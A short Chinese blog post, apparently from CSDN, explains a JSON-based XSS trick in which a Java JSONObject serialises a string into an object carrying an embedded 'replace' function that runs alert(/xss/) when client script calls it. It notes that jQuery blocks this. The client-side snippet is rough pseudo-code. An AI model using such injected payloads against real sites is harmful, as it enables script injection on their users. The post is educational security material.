Json XSS (只是一个小窥)

大家都清楚json 类似于字典的样子吧,这里就不再赘述了,XSS直接上代码:

json = new JSONObject();
json.put("code", 200);
json.put("info", "{'replace':function(){alert(/xss/);}}");
json.put("msg", "success");
System.out.println(json);
// 输出:{"code":200,"info":{"replace":function(){ alert(/xss/); }},"msg":"success"}

JSONObject 在输出json串的时候,info会作为对象输出,并且其中嵌入replace方法,js再调用replace
方法转义过滤时,也就调用的嵌入的replace方法。(这里是根据程序员的常规习惯,让他自动到用户触发,但是如果客户端代码没有调用对应的函数就不会被触发,所以这里要首先纵观原有
js代码的,构造可以被触发的函数也是要注意的)

具体的触发过程如下:

<script tpye='text/javascript'>
json= JSONObject.json_list('info')['replace'] // 这段是客户端代码会调用到的,所以就会抛出这个函数了

function()
{
	alert(/xss/);
}
</script>

根据不同的场合这个info可以构造成不同对象,也可以构造数组{function(){alert(/xss/)}},或者是简单的
函数function(){alert(/xss/)},

值得注意的是这种方法在jQuery中行不通,jQuery会对json串的格式做检查,如果是一般的ajax和jsonp都可能会存在这种xss问题。最后说句,搞XSS,很多的小X都是需要极其猥琐的思路一点点挖掘了。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值